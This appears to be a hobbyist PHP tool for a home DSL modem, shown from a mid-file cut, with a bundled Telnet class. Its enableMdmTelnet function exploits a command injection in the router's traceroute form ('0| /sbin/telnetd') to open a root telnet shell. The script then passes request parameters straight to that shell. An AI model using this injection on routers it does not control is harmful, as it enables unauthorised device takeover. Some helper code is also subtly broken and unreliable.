$v) { if ($k == 'reboot') { header('Content-type: text/plain'); echo executeMdmShellCmd('reboot'); } if ($k == 'shellcmd') { header('Content-type: text/plain'); echo executeMdmShellCmd($v); } /* if ($k == 'alltx') { header('Content-type: text/plain'); all_tx_script(); } */ if ($k == 'dslcmd') { header('Content-type: text/plain'); echo mdmDSLCPECmd($v); } if ($k == 'resync') { header('Content-type: text/plain'); echo mdmDSLCPECmd('g997pmsft 3'); sleep(10); echo mdmDSLCPECmd('g997pmsft 0'); } if ($k == 'download') { $f = split("/",$v); $fn = $f[(count($f)-1)]; if (strpos($fn,'.') == '') { $fn .= ".bin"; } $data = getBinaryFileFromTelnet($v); if (strlen($data) > 0) { header('Content-Disposition: attachment; filename="'.$fn.'"'); header('Content-length: '.strlen($data)); echo $data; } } } function getBinaryFileFromTelnet($f) { $prelim = executeMdmShellCmd('cmp -l /dev/zero "'.$f.'" 2>/dev/null'); $prelim = split("\n",$prelim); $odat = ''; $len = split(" ",$prelim[(count($prelim)-1)]); $len = $len[0]; for ($i=0;$i<$len;$i++) { $bindat[$i] = chr(0); } foreach ($prelim as $line) { $l = split(" ",$line); $oct = $l[(count($l)-1)]; $bindat[($l[0]-1)] = chr(octdec($oct)); } unset($prelim); foreach ($bindat as $byte) { $odat .= $byte; } unset($bindat); return $odat; } function mdmDSLCPECmd($c) { return executeMdmShellCmd('/etc/InfineonScripts/dsl_cpe_pipe.sh 0 '.$c); /* executeMdmShellCmd('echo "'.$c.'" > /tmp/pipe/dsl_cpe0_cmd'); sleep(1); return executeMdmShellCmd('cat /tmp/pipe/dsl_cpe0_ack'); */ } function all_tx_script() { // this script is on the modem, but doesn't work due to missing 'cut' cmd // /etc/InfineonScripts/all_tx.sh // dunno what it does, only seems to desync my adsl1 line mdmDSLCPECmd('alf . .'); mdmDSLCPECmd('alf . '); mdmDSLCPECmd('acs 0'); mdmDSLCPECmd('cw cntl 0 0 8'); all_tx_wa_loop(2,0); mdmDSLCPECmd('cw test 7 0 4'); mdmDSLCPECmd('cw test 7 0 1'); all_tx_wa_loop(6,15); all_tx_wa_loop(7,'D03'); mdmDSLCPECmd('cw test 7 0 4'); mdmDSLCPECmd('cw test 7 0 6'); mdmDSLCPECmd('cw test 7 0 2'); all_tx_wa_loop(5,'1A0D'); mdmDSLCPECmd('cw test 6 0 0'); mdmDSLCPECmd('cw test 6 0 1'); sleep(15); } function all_tx_wa_loop($a,$b) { mdmDSLCPECmd('dms 00A1 0000 0003 C0E8 $a'); mdmDSLCPECmd('dms 00A1 0000 0003 1F48 0020'); mdmDSLCPECmd('dms 00A1 0000 0003 C0F0 $b'); $result = ''; while ($result != '0x0030') { $res = mdmDSLCPECmd('dms 0021 0000 0003 1F48 0000'); $res = getBetween($res,'nData="','"'); $result = trim($res); } } function executeMdmShellCmd($cmd) { global $mdmip; $i = 0; $telnet = new Telnet($mdmip); tstart: $i++; // Define prompt as something unique that will not exist in any file $myprompt = chr(174).'zshell'.chr(175).' '; $result = $telnet->connect(); if ($result != false) { // Wait for default prompt $telnet->setPrompt('#'); $telnet->waitPrompt(); // Prepare for new prompt $telnet->setPrompt($myprompt); // Set new prompt echo $telnet->exec("PS1='".$myprompt."'"); $telnet->waitPrompt(); // Now we can execute a command $res = $telnet->exec($cmd); $telnet->disconnect(); $res = preg_replace("/\r/",'',$res); // Remove the echoed back command $resn = split("\n",$res); unset($resn[0]); $res = implode("\n",$resn); return $res; } else { // If telnet server is not running, enable it via exploit. // then try to execute our command again, up to 3 times. if ($i < 3) { enableMdmTelnet(); sleep(2); goto tstart; } else { // Failure to start telnet server, or connect to it, or whatever } } } function enableMdmTelnet() { // Using an exploit, activate the telnet server $cmd = "/sbin/telnetd"; $passwd = $_SERVER['PHP_AUTH_PW']; $c['next_page'] = "/htmlV/adv_diagnostics.asp"; $c['Self_Test'] = ""; $c['Ping_ISP_Router'] = ""; $c['diag_dns'] = ""; $c['diag_ping'] = ""; $c['diag_traceroute'] = "0| ".$cmd; $c['diag_traceroute_maxhops'] = 1; $cf = ""; foreach ($c as $k => $v) { $cf .= $k."=".urlencode($v)."&"; } $cf = rtrim($cf,"&"); // Send the command $u = "admin:".$passwd."@192.168.1.1/goform/EventForm"; $ch = curl_init(); $timeout = 10; curl_setopt($ch, CURLOPT_URL, $u); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch,CURLOPT_POSTFIELDS, $cf); $data = curl_exec($ch); curl_close($ch); /* // This section was for getting cmd results prior to the smarter telnet method // Retained for informal purposes // Give the modem a bit to process the command sleep(2); // Request the form which is magically populated with the results $u = "admin:".$passwd."@192.168.1.1".$c['next_page']; $ch = curl_init(); $timeout = 5; curl_setopt($ch, CURLOPT_URL, $u); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $data = curl_exec($ch); curl_close($ch); // Filter out HTML $res = getBetween($data,"--- Trace Route Test Results ---\n",""); // Return raw shell command result return $res; */ } function getBetween($src,$start,$end) { $c1 = (strpos($src,$start) + strlen($start)); $c2 = strpos($src,$end,$c1); return substr($src,$c1,($c2 - $c1)); } /** * Telnet class * * Used to execute remote commands via telnet connection * Usess sockets functions and fgetc() to process result * * All methods throw Exceptions on error * * Written by Dalibor Andzakovic * Based on the code originally written by Marc Ennaji and extended by * Matthias Blaser */ class Telnet { private $host; private $port; private $timeout; private $socket= NULL; private $buffer = NULL; private $prompt; private $errno; private $errstr; private $NULL; private $DC1; private $WILL; private $WONT; private $DO; private $DONT; private $IAC; const TELNET_ERROR = FALSE; const TELNET_OK = TRUE; /** * Constructor. Initialises host, port and timeout parameters * defaults to localhost port 23 (standard telnet port) * * @param string $host Host name or IP addres * @param int $port TCP port number * @param int $timeout Connection timeout in seconds * @return void */ public function __construct($host, $port = '23', $timeout = 10){ $this->host = $host; $this->port = $port; $this->timeout = $timeout; // set some telnet special characters $this->NULL = chr(0); $this->DC1 = chr(17); $this->WILL = chr(251); $this->WONT = chr(252); $this->DO = chr(253); $this->DONT = chr(254); $this->IAC = chr(255); $this->connect(); } /** * Destructor. Cleans up socket connection and command buffer * * @return void */ public function __destruct() { // cleanup resources $this->disconnect(); $this->buffer = NULL; } /** * Attempts connection to remote host. Returns TRUE if sucessful. * * @return boolean */ public function connect(){ // check if we need to convert host to IP if (!preg_match('/([0-9]{1,3}\\.){3,3}[0-9]{1,3}/', $this->host)) { $ip = gethostbyname($this->host); if($this->host == $ip){ throw new Exception("Cannot resolve $this->host"); } else{ $this->host = $ip; } } // attempt connection $this->socket = @fsockopen($this->host, $this->port, $this->errno, $this->errstr, $this->timeout); if (!$this->socket){ return false; } return self::TELNET_OK; } /** * Closes IP socket * * @return boolean */ public function disconnect(){ if ($this->socket){ if (! fclose($this->socket)){ throw new Exception("Error while closing telnet socket"); } $this->socket = NULL; } return self::TELNET_OK; } /** * Executes command and returns a string with result. * This method is a wrapper for lower level private methods * * @param string $command Command to execute * @return string Command result */ public function exec($command, $addNewLine=true) { $this->write($command, $addNewLine); $this->waitPrompt(1); return $this->getBuffer(); } /** * Attempts login to remote host. * This method is a wrapper for lower level private methods and should be * modified to reflect telnet implementation details like login/password * and line prompts. Defaults to standard unix non-root prompts * * @param string $username Username * @param string $password Password * @return boolean */ public function login($username, $password) { try{ $this->setPrompt('ogin:'); $this->waitPrompt(); $this->write($username); $this->setPrompt('assword:'); $this->waitPrompt(); $this->write($password); //$this->setPrompt(); //$this->waitPrompt(); } catch(Exception $e){ throw new Exception("Login failed."); } return self::TELNET_OK; } /** * Sets the string of characters to respond to. * This should be set to the last character of the command line prompt * * @param string $s String to respond to * @return boolean */ public function setPrompt($s = '$'){ $this->prompt = $s; return self::TELNET_OK; } /** * Gets character from the socket * * @return void */ private function getc() { return fgetc($this->socket); } /** * Clears internal command buffer * * @return void */ private function clearBuffer() { $this->buffer = ''; } /** * Reads characters from the socket and adds them to command buffer. * Handles telnet control characters. Stops when prompt is ecountered. * * @param string $prompt * @return boolean */ private function readTo($prompt){ if (!$this->socket){ throw new Exception("Telnet connection closed"); } // clear the buffer $this->clearBuffer(); do{ $c = $this->getc(); if ($c === false){ throw new Exception("Couldn't find the requested : '" . $prompt . "', it was not in the data returned from server : '" . $buf . "'"); } if ($c == $this->IAC) { if ($this->negotiateTelnetOptions()){ continue; } } // append current char to global buffer $this->buffer .= $c; // we've encountered the prompt. Break out of the loop if ((substr($this->buffer, strlen($this->buffer) - strlen($prompt))) == $prompt){ return self::TELNET_OK; } } while($c != $this->NULL || $c != $this->DC1); } /** * Write command to a socket * * @param string $buffer Stuff to write to socket * @param boolean $addNewLine Default true, adds newline to the command * @return boolean */ public function write($buffer, $addNewLine=true){ if (!$this->socket){ throw new Exception("Telnet connection closed"); } // clear buffer from last command $this->clearBuffer(); if ($addNewLine == true){ $buffer .= "\n"; } if (!fwrite($this->socket, $buffer) < 0){ throw new Exception("Error writing to socket"); } return self::TELNET_OK; } /** * Returns the content of the command buffer * * @return string Content of the command buffer */ private function getBuffer(){ // cut last line (is always prompt) $buf = explode("\n", $this->buffer); unset($buf[count($buf)-1]); $buf = implode("\n",$buf); return trim($buf); } /** * Telnet control character magic * * @param string $command Character to check * @return boolean */ private function negotiateTelnetOptions(){ $c = $this->getc(); if ($c != $this->IAC){ if (($c == $this->DO) || ($c == $this->DONT)){ $opt = $this->getc(); fwrite($this->socket, $this->IAC . $this->WONT . $opt); } else if (($c == $this->WILL) || ($c == $this->WONT)) { $opt = $this->getc(); fwrite($this->socket, $this->IAC . $this->DONT . $opt); } else { throw new Exception('Error: unknown control character ' . ord($c )); } } else{ throw new Exception('Error: Something Wicked Happened'); } return self::TELNET_OK; } /** * Reads socket until prompt is encountered */ public function waitPrompt(){ $prompt = $this->prompt; return $this->readTo($prompt); } }